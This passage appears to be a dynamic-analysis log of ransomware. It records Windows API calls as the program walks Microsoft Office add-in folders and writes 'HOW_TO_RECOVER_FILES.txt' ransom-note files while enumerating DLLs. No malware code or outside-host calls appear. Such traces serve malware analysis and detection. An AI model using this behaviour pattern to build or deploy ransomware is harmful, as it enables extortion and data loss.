Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6e [0228.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0228.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\zh-cht\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0228.700] GetFileType (hFile=0x630) returned 0x1 [0228.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0228.700] GetFileType (hFile=0x630) returned 0x1 [0228.701] WriteFile (in: hFile=0x630, lpBuffer=0x360a698*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x360a698*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0228.702] CloseHandle (hObject=0x630) returned 1 [0228.702] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ed070, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x67 [0228.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed590) returned 1 [0228.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0228.703] GetFileType (hFile=0x630) returned 0x1 [0228.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed500) returned 1 [0228.703] GetFileType (hFile=0x630) returned 0x1 [0228.704] WriteFile (in: hFile=0x630, lpBuffer=0x360df80*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ed658, lpOverlapped=0x0 | out: lpBuffer=0x360df80*, lpNumberOfBytesWritten=0x206ed658*=0x5d0, lpOverlapped=0x0) returned 1 [0228.704] CloseHandle (hObject=0x630) returned 1 [0228.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed620) returned 1 [0228.705] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in", nBufferLength=0x105, lpBuffer=0x206ed0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in", lpFilePart=0x0) returned 0x4e [0228.705] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\*", lpFindFileData=0x206ed340 | out: lpFindFileData=0x206ed340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a6e0 [0228.705] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.705] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0228.706] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0228.706] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0228.706] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0228.706] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0228.706] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0228.706] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0228.706] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0228.707] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0228.707] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0228.707] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0228.707] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0228.707] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0228.707] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458770a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0228.708] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0228.708] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0228.708] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0228.708] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0f23aa6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0228.708] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0228.708] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0228.709] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Interop.MSDASC.dll", cAlternateFileName="INTERO~1.DLL")) returned 1 [0228.709] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1bce2f5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0228.709] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0228.709] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1 [0228.709] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0228.709] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0228.709] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0228.709] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x164c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MDXQueryGenerator.DLL", cAlternateFileName="MDXQUE~1.DLL")) returned 1 [0228.710] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d50bdc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d50bdc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d50bdc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14640, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.AdomdClientUI.dll", cAlternateFileName="MIF69D~1.DLL")) returned 1 [0228.710] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1697068, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1697068, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf16bd2da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17bc90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0228.710] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d9d08d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d9d08d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf755cb7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x69040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.dll", cAlternateFileName="MI6388~1.DLL")) returned 1 [0228.710] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffddb96c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffddb96c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffddb96c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1af090, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.dll", cAlternateFileName="MI8069~1.DLL")) returned 1 [0228.710] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60f38e4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60f38e4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2c240, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.XmlSerializers.dll", cAlternateFileName="MI37F3~1.DLL")) returned 1 [0228.710] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf18d33e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf18d33e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf18d33e2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x664698, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0228.710] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x520cca6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x520cca6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5612cee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a840, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.XmlSerializers.dll", cAlternateFileName="MI3E9C~1.DLL")) returned 1 [0228.710] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x823be8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x823be8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a13a8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x100c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.dll", cAlternateFileName="MIA386~1.DLL")) returned 1 [0228.710] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0df27d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d78c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Modeler.UI.rll", cAlternateFileName="MICROS~1.RLL")) returned 1 [0228.710] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6cc6b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6cc6b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6cc6b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x78c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.SPClient.Interfaces.DLL", cAlternateFileName="MI4938~1.DLL")) returned 1 [0228.710] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4bc999b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4bc999b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4bc999b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4c630, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.dll", cAlternateFileName="MI0653~1.DLL")) returned 1 [0228.711] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61d7668, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61d7668, ftLastWriteTime.dwHighDateTime=0x1d327e7, 